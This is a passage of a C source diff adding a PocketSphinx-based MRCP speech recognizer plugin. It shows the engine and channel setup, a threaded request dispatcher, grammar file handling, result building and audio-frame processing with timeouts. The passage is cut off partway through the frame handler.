+	/** Thread to run recognition in */
+	apr_thread_t             *thread;
+	/** Conditional wait object */
+	apr_thread_cond_t        *wait_object;
+	/** Mutex of the wait object */
+	apr_thread_mutex_t       *mutex;
+
+	/** Pending request from client stack to recognizer */
+	mrcp_message_t           *request;
+	/** Pending event from mpf layer to recognizer */
+	mrcp_message_t           *complete_event;
+	/** In-progress RECOGNIZE request */
+	mrcp_message_t           *inprogress_recog;
+	/** Pending STOP response */
+	mrcp_message_t           *stop_response;
+	/** Is recognition channel being closed */
+	apt_bool_t                close_requested;
+};
+
+/** Declare this macro to use log routine of the server, plugin is loaded from */
+MRCP_PLUGIN_LOGGER_IMPLEMENT
+
+static void* APR_THREAD_FUNC pocketsphinx_recognizer_run(apr_thread_t *thread, void *data);
+
+/** Create pocketsphinx engine (engine is an aggregation of recognizers) */
+MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+{
+	pocketsphinx_engine_t *engine = apr_palloc(pool,sizeof(pocketsphinx_engine_t));
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create PocketSphinx Engine");
+	
+	/* create resource engine base */
+	engine->base = mrcp_resource_engine_create(
+					MRCP_RECOGNIZER_RESOURCE,  /* MRCP resource identifier */
+					engine,                    /* object to associate */
+					&engine_vtable,            /* virtual methods table of resource engine */
+					pool);                     /* pool to allocate memory from */
+	return engine->base;
+}
+
+/** Destroy pocketsphinx engine */
+static apt_bool_t pocketsphinx_engine_destroy(mrcp_resource_engine_t *resource_engine)
+{
+	return TRUE;
+}
+
+/** Open pocketsphinx engine */
+static apt_bool_t pocketsphinx_engine_open(mrcp_resource_engine_t *resource_engine)
+{
+	pocketsphinx_engine_t *engine = resource_engine->obj;
+	const apt_dir_layout_t *dir_layout = resource_engine->dir_layout;
+
+	char *file_path = NULL;
+	apr_filepath_merge(&file_path,dir_layout->conf_dir_path,POCKETSPHINX_CONFFILE_NAME,0,resource_engine->pool);
+
+	/* load properties */
+	pocketsphinx_properties_load(&engine->properties,file_path,dir_layout,resource_engine->pool);
+	return TRUE;
+}
+
+/** Close pocketsphinx engine */
+static apt_bool_t pocketsphinx_engine_close(mrcp_resource_engine_t *resource_engine)
+{
+	return TRUE;
+}
+
+/** Create pocketsphinx recognizer */
+static mrcp_engine_channel_t* pocketsphinx_engine_recognizer_create(mrcp_resource_engine_t *resource_engine, apr_pool_t *pool)
+{
+	mrcp_engine_channel_t *channel;
+	mpf_codec_descriptor_t *codec_descriptor;
+	pocketsphinx_engine_t *engine = resource_engine->obj;
+	pocketsphinx_recognizer_t *recognizer = apr_palloc(pool,sizeof(pocketsphinx_recognizer_t));
+	recognizer->decoder = NULL;
+	recognizer->config = NULL;
+	recognizer->is_input_timer_on = FALSE;
+	recognizer->no_input_timeout = 0;
+	recognizer->recognition_timeout = 0;
+	recognizer->partial_result_timeout = 0;
+	recognizer->last_result = NULL;
+	recognizer->detector = NULL;
+	recognizer->thread = NULL;
+	recognizer->wait_object = NULL;
+	recognizer->mutex = NULL;
+	recognizer->request = NULL;
+	recognizer->complete_event = NULL;
+	recognizer->inprogress_recog = FALSE;
+	recognizer->stop_response = NULL;
+	recognizer->close_requested = FALSE;
+	recognizer->grammar_id = NULL;
+	recognizer->grammar_table = apr_table_make(pool,1);
+	recognizer->waveform = NULL;
+
+	/* copy default properties loaded from config */
+	recognizer->properties = engine->properties;
+
+	codec_descriptor = (mpf_codec_descriptor_t *) apr_palloc(pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec_descriptor);
+	codec_descriptor->channel_count = 1;
+	codec_descriptor->payload_type = 96;
+	apt_string_set(&codec_descriptor->name,"LPCM");
+	codec_descriptor->sampling_rate = 8000;
+	if(recognizer->properties.preferred_model == POCKETSPHINX_MODEL_WIDEBAND) {
+		codec_descriptor->sampling_rate = 16000;
+	}
+
+	/* create engine channel base */
+	channel = mrcp_engine_sink_channel_create(
+			resource_engine,      /* resource engine */
+			&channel_vtable,      /* virtual methods table of engine channel */
+			&audio_stream_vtable, /* virtual methods table of audio stream */
+			recognizer,           /* object to associate */
+			NULL,                 /* codec descriptor might be NULL by default */
+			pool);                /* pool to allocate memory from */
+
+	apr_thread_mutex_create(&recognizer->mutex,APR_THREAD_MUTEX_DEFAULT,channel->pool);
+	apr_thread_cond_create(&recognizer->wait_object,channel->pool);
+
+	recognizer->channel = channel;
+	return channel;
+}
+
+/** Destroy pocketsphinx recognizer */
+static apt_bool_t pocketsphinx_recognizer_destroy(mrcp_engine_channel_t *channel)
+{
+	pocketsphinx_recognizer_t *recognizer = channel->method_obj;
+	if(recognizer->mutex) {
+		apr_thread_mutex_destroy(recognizer->mutex);
+		recognizer->mutex = NULL;
+	}
+	if(recognizer->wait_object) {
+		apr_thread_cond_destroy(recognizer->wait_object);
+		recognizer->wait_object = NULL;
+	}
+	return TRUE;
+}
+
+/** Open pocketsphinx recognizer (asynchronous response MUST be sent) */
+static apt_bool_t pocketsphinx_recognizer_open(mrcp_engine_channel_t *channel)
+{
+	apr_status_t rv;
+	pocketsphinx_recognizer_t *recognizer = channel->method_obj;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open Channel "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+
+	/* Launch a thread to run recognition in */
+	rv = apr_thread_create(&recognizer->thread,NULL,pocketsphinx_recognizer_run,recognizer,channel->pool);
+	if(rv != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Failed to Launch Thread "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+		return mrcp_engine_channel_open_respond(channel,FALSE);
+	}
+
+	return TRUE;
+}
+
+/** Close pocketsphinx recognizer (asynchronous response MUST be sent)*/
+static apt_bool_t pocketsphinx_recognizer_close(mrcp_engine_channel_t *channel)
+{
+	pocketsphinx_recognizer_t *recognizer = channel->method_obj;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close Channel "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+	if(!recognizer->thread) {
+		return mrcp_engine_channel_close_respond(channel);
+	}
+
+	/* Signal recognition thread to terminate */
+	apr_thread_mutex_lock(recognizer->mutex);
+	recognizer->close_requested = TRUE;
+	apr_thread_cond_signal(recognizer->wait_object);
+	apr_thread_mutex_unlock(recognizer->mutex);
+	return TRUE;
+}
+
+/** Process MRCP request (asynchronous response MUST be sent)*/
+static apt_bool_t pocketsphinx_recognizer_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	pocketsphinx_recognizer_t *recognizer = channel->method_obj;
+
+	/* Store request and signal recognition thread to process the request */
+	apr_thread_mutex_lock(recognizer->mutex);
+	recognizer->request = request;
+	apr_thread_cond_signal(recognizer->wait_object);
+	apr_thread_mutex_unlock(recognizer->mutex);
+	return TRUE;
+}
+
+/** Initialize pocketsphinx decoder [RECOG] */
+static apt_bool_t pocketsphinx_decoder_init(pocketsphinx_recognizer_t *recognizer, const char *grammar)
+{
+	const char *model = recognizer->properties.model_8k;
+	const char *rate = "8000";
+	if(recognizer->properties.preferred_model == POCKETSPHINX_MODEL_WIDEBAND) {
+		model = recognizer->properties.model_16k;
+		rate = "16000";
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Init Config rate [%s] dictionary [%s] "APT_SIDRES_FMT,
+		rate,
+		recognizer->properties.dictionary,
+		RECOGNIZER_SIDRES(recognizer));
+	recognizer->config = cmd_ln_init(recognizer->config, ps_args(), FALSE,
+							 "-samprate", rate,
+							 "-hmm", model,
+							 "-jsgf", grammar,
+							 "-dict", recognizer->properties.dictionary,
+							 "-frate", "50",
+							 "-silprob", "0.005",
+							 NULL);
+	if(!recognizer->config) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Init Config "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+		return FALSE;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Init Decoder "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+	if(recognizer->decoder) {
+		if(ps_reinit(recognizer->decoder,recognizer->config) < 0) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Reinit Decoder "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+			return FALSE;
+		}
+	}
+	else {
+		recognizer->decoder = ps_init(recognizer->config);
+		if(!recognizer->decoder) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Init Decoder "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+			return FALSE;
+		}
+	}
+
+	if(!recognizer->detector) {
+		recognizer->detector = mpf_activity_detector_create(recognizer->channel->pool);
+		mpf_activity_detector_level_set(recognizer->detector,50);
+	}
+	return TRUE;
+}
+
+/** Build pocketsphinx recognized result [RECOG] */
+static apt_bool_t pocketsphinx_result_build(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *message)
+{
+	apt_str_t *body = &message->body;
+	if(!recognizer->last_result || !recognizer->grammar_id) {
+		return FALSE;
+	}
+
+	body->buf = apr_psprintf(message->pool,
+		"<?xml version=\"1.0\"?>\n"
+		"<result grammar=\"%s\">\n"
+		"  <interpretation grammar=\"%s\" confidence=\"%d\">\n"
+		"    <input mode=\"speech\">%s</input>\n"
+		"  </interpretation>\n"
+		"</result>\n",
+		recognizer->grammar_id,
+		recognizer->grammar_id,
+		99,
+		recognizer->last_result,
+		recognizer->last_result);
+	if(body->buf) {
+		mrcp_generic_header_t *generic_header;
+		generic_header = mrcp_generic_header_prepare(message);
+		if(generic_header) {
+			/* set content type */
+			apt_string_assign(&generic_header->content_type,"application/x-nlsml",message->pool);
+			mrcp_generic_header_property_add(message,GENERIC_HEADER_CONTENT_TYPE);
+		}
+		
+		body->length = strlen(body->buf);
+	}
+	return TRUE;
+}
+
+/** Clear pocketsphinx grammars [RECOG] */
+static apt_bool_t pocketsphinx_grammars_clear(pocketsphinx_recognizer_t *recognizer)
+{
+	const apr_array_header_t *tarr = apr_table_elts(recognizer->grammar_table);
+	const apr_table_entry_t *telts = (const apr_table_entry_t*)tarr->elts;
+	int i;
+	for(i = 0; i < tarr->nelts; i++) {
+		const char *grammar_file_path = telts[i].val;
+		if(grammar_file_path) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Grammar File [%s] "APT_SIDRES_FMT,
+				grammar_file_path,RECOGNIZER_SIDRES(recognizer));
+			apr_file_remove(grammar_file_path,recognizer->channel->pool);
+		}
+	}
+	apr_table_clear(recognizer->grammar_table);
+	return TRUE;
+}
+
+/** Process DEFINE-GRAMMAR request [RECOG] */
+static apt_bool_t pocketsphinx_define_grammar(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request, mrcp_message_t *response)
+{
+	const char *content_type = NULL;
+	const char *content_id = NULL;
+	apt_str_t *grammar = NULL;
+
+	mrcp_engine_channel_t *channel = recognizer->channel;
+
+	/* get recognizer header */
+	mrcp_generic_header_t *generic_header = mrcp_generic_header_get(request);
+	mrcp_recog_header_t *recog_header = mrcp_resource_header_prepare(response);
+	if(!generic_header || !recog_header) {
+		return FALSE;
+	}
+
+	recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_SUCCESS;
+	mrcp_resource_header_property_add(response,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+	
+	/* content-id must be specified */
+	if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_ID) == TRUE) {
+		content_id = generic_header->content_id.buf;
+	}
+	if(!content_id) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Missing Content-Id "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+		response->start_line.status_code = MRCP_STATUS_CODE_MISSING_PARAM;
+		recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE;
+		return FALSE;
+	}
+
+	if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_LENGTH) == TRUE) {
+		grammar = &request->body;
+	}
+
+	if(grammar) {
+		/* load grammar */
+		const apt_dir_layout_t *dir_layout = channel->engine->dir_layout;
+		const char *grammar_file_path = NULL;
+		const char *grammar_file_name = NULL;
+		apr_file_t *fd = NULL;
+		apr_status_t rv;
+		apr_size_t size;
+
+		/* content-type must be specified */
+		if(mrcp_generic_header_property_check(request,GENERIC_HEADER_CONTENT_TYPE) == TRUE) {
+			content_type = generic_header->content_type.buf;
+		}
+		if(!content_type) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Missing Content-Type "APT_SIDRES_FMT,RECOGNIZER_SIDRES(recognizer));
+			response->start_line.status_code = MRCP_STATUS_CODE_MISSING_PARAM;
+			recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE;
+			return FALSE;
+		}
+	
+		/* only JSGF grammar is supported */
+		if(strstr(content_type,"jsgf") == NULL) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Not Supported Content-Type [%s] "APT_SIDRES_FMT,
+				content_type,RECOGNIZER_SIDRES(recognizer));
+			response->start_line.status_code = MRCP_STATUS_CODE_UNSUPPORTED_PARAM_VALUE;
+			recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE;
+			return FALSE;
+		}
+
+		grammar_file_name = apr_psprintf(channel->pool,"%s-%s.gram",channel->id.buf,content_id);
+		grammar_file_path = apt_datadir_filepath_get(dir_layout,grammar_file_name,channel->pool);
+
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create Grammar File [%s] "APT_SIDRES_FMT,
+			grammar_file_path,RECOGNIZER_SIDRES(recognizer));
+		rv = apr_file_open(&fd,grammar_file_path,APR_CREATE|APR_TRUNCATE|APR_WRITE|APR_BINARY,
+			APR_OS_DEFAULT,channel->pool);
+		if(rv != APR_SUCCESS) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot Open Grammar File to Write [%s] "APT_SIDRES_FMT,
+				grammar_file_path,RECOGNIZER_SIDRES(recognizer));
+			response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+			recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE;
+			return FALSE;
+		}
+
+		size = grammar->length;
+		apr_file_write(fd,grammar->buf,&size);
+		apr_file_close(fd);
+
+		/* init pocketsphinx decoder */
+		if(pocketsphinx_decoder_init(recognizer,grammar_file_path) == TRUE) {
+			recognizer->grammar_id = content_id;
+			apr_table_setn(recognizer->grammar_table,content_id,grammar_file_path);
+		}
+		else {
+			response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+			recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE;
+			apr_file_remove(grammar_file_path,channel->pool);
+			return FALSE;
+		}
+	}
+	else {
+		/* unload grammar */
+		const char *grammar_file_path = apr_table_get(recognizer->grammar_table,content_id);
+		if(grammar_file_path) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove Grammar File [%s] "APT_SIDRES_FMT,
+				grammar_file_path,RECOGNIZER_SIDRES(recognizer));
+			apr_file_remove(grammar_file_path,channel->pool);
+			apr_table_unset(recognizer->grammar_table,content_id);
+		}
+	}
+
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	return TRUE;
+}
+
+/** Process RECOGNIZE request [RECOG] */
+static apt_bool_t pocketsphinx_recognize(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request, mrcp_message_t *response)
+{
+	mrcp_engine_channel_t *channel = recognizer->channel;
+	mrcp_recog_header_t *request_recog_header;
+	mrcp_recog_header_t *response_recog_header = mrcp_resource_header_prepare(response);
+	if(!response_recog_header) {
+		return FALSE;
+	}
+
+	if(!recognizer->decoder || ps_start_utt(recognizer->decoder, NULL) < 0) {
+		response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+		response_recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_ERROR;
+		mrcp_resource_header_property_add(response,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+		return FALSE;
+	}
+
+	recognizer->is_input_timer_on = TRUE;
+	/* get recognizer header */
+	request_recog_header = mrcp_resource_header_get(request);
+	if(request_recog_header) {
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_START_INPUT_TIMERS) == TRUE) {
+			recognizer->is_input_timer_on = request_recog_header->start_input_timers;
+		}
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_NO_INPUT_TIMEOUT) == TRUE) {
+			recognizer->properties.no_input_timeout = request_recog_header->no_input_timeout;
+		}
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_RECOGNITION_TIMEOUT) == TRUE) {
+			recognizer->properties.recognition_timeout = request_recog_header->recognition_timeout;
+		}
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_SAVE_WAVEFORM) == TRUE) {
+			recognizer->properties.save_waveform = request_recog_header->save_waveform;
+		}
+	}
+
+	/* check if waveform (utterance) should be saved */
+	if(recognizer->properties.save_waveform == TRUE) {
+		apr_status_t rv;
+		const char *waveform_file_name = apr_psprintf(channel->pool,"utter-%s-%d.pcm",
+			channel->id.buf,request->start_line.request_id);
+		char *waveform_file_path = NULL;
+		apr_filepath_merge(&waveform_file_path,recognizer->properties.save_waveform_dir,
+			waveform_file_name,0,channel->pool);
+
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open Waveform File [%s] "APT_SIDRES_FMT,
+			waveform_file_path,RECOGNIZER_SIDRES(recognizer));
+		rv = apr_file_open(&recognizer->waveform,waveform_file_path,APR_CREATE|APR_TRUNCATE|APR_WRITE|APR_BINARY,
+			APR_OS_DEFAULT,channel->pool);
+		if(rv != APR_SUCCESS) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot Open Waveform File to Write [%s] "APT_SIDRES_FMT,
+				waveform_file_path,RECOGNIZER_SIDRES(recognizer));
+		}
+	}
+
+	response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+
+	/* reset */
+	mpf_activity_detector_reset(recognizer->detector);
+	recognizer->no_input_timeout = 0;
+	recognizer->recognition_timeout = 0;
+	recognizer->partial_result_timeout = 0;
+	recognizer->last_result = NULL;
+	recognizer->complete_event = NULL;
+	
+	recognizer->inprogress_recog = request;
+	return TRUE;
+}
+
+/** Process GET-RESULT request [RECOG] */
+static apt_bool_t pocketsphinx_get_result(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request, mrcp_message_t *response)
+{
+	if(pocketsphinx_result_build(recognizer,response) != TRUE) {
+		response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
+	}
+
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(recognizer->channel,response);
+	return TRUE;
+}
+
+/** Process START-INPUT-TIMERS request [RECOG] */
+static apt_bool_t pocketsphinx_start_input_timers(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request, mrcp_message_t *response)
+{
+	recognizer->is_input_timer_on = TRUE;
+	
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(recognizer->channel,response);
+	return TRUE;
+}
+
+
+/** Process STOP request [RECOG] */
+static apt_bool_t pocketsphinx_stop(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request, mrcp_message_t *response)
+{
+	if(recognizer->inprogress_recog) {
+		/* store pending STOP response for further processing */
+		recognizer->stop_response = response;
+		return TRUE;
+	}
+
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(recognizer->channel,response);
+	return TRUE;
+}
+
+/** Process RECOGNITION-COMPLETE event [RECOG] */
+static apt_bool_t pocketsphinx_recognition_complete(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *complete_event)
+{
+	mrcp_recog_header_t *recog_header;
+	if(!recognizer->inprogress_recog) {
+		/* false event */
+		return FALSE;
+	}
+
+	recognizer->inprogress_recog = NULL;
+	ps_end_utt(recognizer->decoder);
+
+	if(recognizer->waveform) {
+		apr_file_close(recognizer->waveform);
+		recognizer->waveform = NULL;
+	}
+
+	if(recognizer->stop_response) {
+		/* recognition has been stopped, send STOP response instead */
+		mrcp_message_t *response = recognizer->stop_response;
+		recognizer->stop_response = NULL;
+		if(recognizer->close_requested == FALSE) {
+			mrcp_engine_channel_message_send(recognizer->channel,response);
+		}
+		return TRUE;
+	}
+	
+	recog_header = mrcp_resource_header_get(complete_event);
+	if(recog_header->completion_cause == RECOGNIZER_COMPLETION_CAUSE_SUCCESS || 
+		recog_header->completion_cause == RECOGNIZER_COMPLETION_CAUSE_RECOGNITION_TIMEOUT) {
+		int32 score;
+		char const *hyp;
+		char const *uttid;
+
+		hyp = ps_get_hyp(recognizer->decoder, &score, &uttid);
+		if(hyp && strlen(hyp) > 0) {
+			int32 prob;
+			recognizer->last_result = apr_pstrdup(recognizer->channel->pool,hyp);
+			prob = ps_get_prob(recognizer->decoder, &uttid); 
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Get Recognition Final Result [%s] Prob [%d] Score [%d] "APT_SIDRES_FMT,
+				hyp,prob,score,RECOGNIZER_SIDRES(recognizer));
+			if(pocketsphinx_result_build(recognizer,complete_event) != TRUE) {
+				recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_ERROR;
+			}
+		}
+		else {
+			recog_header->completion_cause = RECOGNIZER_COMPLETION_CAUSE_NO_MATCH;
+		}
+	}
+
+	/* send asynchronous event */
+	mrcp_engine_channel_message_send(recognizer->channel,complete_event);
+	return TRUE;
+}
+
+/** Dispatch MRCP request [RECOG] */
+static apt_bool_t pocketsphinx_request_dispatch(pocketsphinx_recognizer_t *recognizer, mrcp_message_t *request)
+{
+	apt_bool_t processed = FALSE;
+	mrcp_message_t *response = mrcp_response_create(request,request->pool);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Dispatch Request %s "APT_SIDRES_FMT,
+		request->start_line.method_name.buf,
+		RECOGNIZER_SIDRES(recognizer));
+	switch(request->start_line.method_id) {
+		case RECOGNIZER_SET_PARAMS:
+			break;
+		case RECOGNIZER_GET_PARAMS:
+			break;
+		case RECOGNIZER_DEFINE_GRAMMAR:
+			processed = pocketsphinx_define_grammar(recognizer,request,response);
+			break;
+		case RECOGNIZER_RECOGNIZE:
+			processed = pocketsphinx_recognize(recognizer,request,response);
+			break;
+		case RECOGNIZER_GET_RESULT:
+			processed = pocketsphinx_get_result(recognizer,request,response);
+			break;
+		case RECOGNIZER_START_INPUT_TIMERS:
+			processed = pocketsphinx_start_input_timers(recognizer,request,response);
+			break;
+		case RECOGNIZER_STOP:
+			processed = pocketsphinx_stop(recognizer,request,response);
+			break;
+		default:
+			break;
+	}
+	if(processed == FALSE) {
+		/* send asynchronous response for non handled request */
+		mrcp_engine_channel_message_send(recognizer->channel,response);
+	}
+	return TRUE;
+}
+
+
+/** Recognition thread [RECOG] */
+static void* APR_THREAD_FUNC pocketsphinx_recognizer_run(apr_thread_t *thread, void *data)
+{
+	pocketsphinx_recognizer_t *recognizer = data;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Run Recognition Thread "APT_SIDRES_FMT, RECOGNIZER_SIDRES(recognizer));
+	/** Send response to channel_open request */
+	mrcp_engine_channel_open_respond(recognizer->channel,TRUE);
+
+	do {
+		/** Wait for MRCP requests */
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Wait for incoming messages "APT_SIDRES_FMT, RECOGNIZER_SIDRES(recognizer));
+		apr_thread_mutex_lock(recognizer->mutex);
+		apr_thread_cond_wait(recognizer->wait_object,recognizer->mutex);
+		apr_thread_mutex_unlock(recognizer->mutex);
+
+		if(recognizer->request) {
+			/* store request message and further dispatch it */
+			mrcp_message_t *request = recognizer->request;
+			recognizer->request = NULL;
+			pocketsphinx_request_dispatch(recognizer,request);
+		}
+		if(recognizer->complete_event) {
+			/* end of input detected, get recognition result and raise recognition complete event */
+			pocketsphinx_recognition_complete(recognizer,recognizer->complete_event);
+		}
+	}
+	while(recognizer->close_requested == FALSE);
+
+	/** Clear all the defined grammars */
+	pocketsphinx_grammars_clear(recognizer);
+	
+	if(recognizer->decoder) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Free Decoder "APT_SIDRES_FMT, RECOGNIZER_SIDRES(recognizer));
+		/** Free pocketsphinx decoder */
+		ps_free(recognizer->decoder);
+		recognizer->decoder = NULL;
+	}
+
+	recognizer->thread = NULL;
+	/** Finally send response to channel_close request */
+	mrcp_engine_channel_close_respond(recognizer->channel);
+
+	/** Exit thread */
+	apr_thread_exit(thread,APR_SUCCESS);
+	return NULL;
+}
+
+
+
+/* Start of input (utterance) [MPF]  */
+static apt_bool_t pocketsphinx_start_of_input(pocketsphinx_recognizer_t *recognizer)
+{
+	/* create START-OF-INPUT event */
+	mrcp_message_t *message = mrcp_event_create(
+						recognizer->inprogress_recog,
+						RECOGNIZER_START_OF_INPUT,
+						recognizer->inprogress_recog->pool);
+	if(!message) {
+		return FALSE;
+	}
+
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* send asynchronous event */
+	return mrcp_engine_channel_message_send(recognizer->channel,message);
+}
+
+/* End of input (utterance) [MPF] */
+static apt_bool_t pocketsphinx_end_of_input(pocketsphinx_recognizer_t *recognizer, mrcp_recog_completion_cause_e cause)
+{
+	mrcp_recog_header_t *recog_header;
+	/* create RECOGNITION-COMPLETE event */
+	mrcp_message_t *message = mrcp_event_create(
+						recognizer->inprogress_recog,
+						RECOGNIZER_RECOGNITION_COMPLETE,
+						recognizer->inprogress_recog->pool);
+	if(!message) {
+		return FALSE;
+	}
+
+	/* get/allocate recognizer header */
+	recog_header = mrcp_resource_header_prepare(message);
+	if(recog_header) {
+		/* set completion cause */
+		recog_header->completion_cause = cause;
+		mrcp_resource_header_property_add(message,RECOGNIZER_HEADER_COMPLETION_CAUSE);
+	}
+	/* set request state */
+	message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
+
+	/* signal recognition thread first */
+	apr_thread_mutex_lock(recognizer->mutex);
+	recognizer->complete_event = message;
+	apr_thread_cond_signal(recognizer->wait_object);
+	apr_thread_mutex_unlock(recognizer->mutex);
+	return TRUE;
+}
+
+/* Process audio frame [MPF] */
+static apt_bool_t pocketsphinx_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	pocketsphinx_recognizer_t *recognizer = stream->obj;
+
+	/* check whether recognition has been started and not completed yet */
+	if(recognizer->inprogress_recog && !recognizer->complete_event) {
+		mpf_detector_event_e det_event;
+
+		/* first check if STOP has been requested */
+		if(recognizer->stop_response) {
+			/* recognition has been stopped -> acknowledge with complete-event */
+			pocketsphinx_end_of_input(recognizer,RECOGNIZER_COMPLETION_CAUSE_SUCCESS);
+			return TRUE;
+		}
+
+		if(recognizer->waveform) {
+			/* write utterance to file */
+			apr_size_t size = frame->codec_frame.size;
+			apr_file_write(recognizer->waveform,frame->codec_frame.buffer,&size);
+		}
+
+		if(ps_process_raw(
+					recognizer->decoder, 
+					(const int16 *)frame->codec_frame.buffer, 
+					frame->codec_frame.size / sizeof(int16),
+					FALSE, 
+					FALSE) < 0) {
+
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Process Raw Data "APT_SIDRES_FMT,
+				RECOGNIZER_SIDRES(recognizer));
+		}
+
+		recognizer->partial_result_timeout += CODEC_FRAME_TIME_BASE;
+		if(recognizer->partial_result_timeout == recognizer->properties.partial_result_timeout) {
+			int32 score;
+			char const *hyp;
+			char const *uttid;
+
+			recognizer->partial_result_timeout = 0;
+			hyp = ps_get_hyp(recognizer->decoder, &score, &uttid);
+			if(hyp && strlen(hyp) > 0) {
+				if(recognizer->last_result == NULL || 0 != strcmp(recognizer->last_result, hyp)) {
+					recognizer->last_result = apr_pstrdup(recognizer->channel->pool,hyp);
+					apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Get Recognition Partial Result [%s] Score [%d] "APT_SIDRES_FMT,
+						hyp,score,RECOGNIZER_SIDRES(recognizer));
+
+					/* reset input timer as we have partial match now */
+					if(score != 0 && recognizer->is_input_timer_on) {
+						recognizer->is_input_timer_on = FALSE;
+					}
+				}
+			}
+		}
+
+		if(recognizer->is_input_timer_on) {
+			recognizer->no_input_timeout += CODEC_FRAME_TIME_BASE;
+			if(recognizer->no_input_timeout == recognizer->properties.no_input_timeout) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Noinput Timeout Elapsed "APT_SIDRES_FMT,
+						RECOGNIZER_SIDRES(recognizer));
+				pocketsphinx_end_of_input(recognizer,RECOGNIZER_COMPLETION_CAUSE_NO_INPUT_TIMEOUT);
+				return TRUE;
+			}
+		}
+
+		recognizer->recognition_timeout += CODEC_FRAME_TIME_BASE;
+		if(recognizer->recognition_timeout == recognizer->properties.recognition_timeout) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Recognition Timeout Elapsed "APT_SIDRES_FMT,
+					RECOGNIZER_SIDRES(recognizer));
+			pocketsphinx_end_of_input(recognizer,RECOGNIZER_COMPLETION_CAUSE_RECOGNITION_TIMEOUT);
+			return TRUE;
+		}
+
+		det_event = mpf_activity_detector_process(recognizer->detector,frame);
+		switch(det_event) {
+			case MPF_DETECTOR_EVENT_ACTIVITY:
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Detected Voice Activity "APT_SIDRES_FMT,
+					RECOGNIZER_SIDRES(recognizer));
+				pocketsphinx_start_of_input(recognizer);
+				break;
+			case MPF_DETECTOR_EVENT_INACTIVITY:
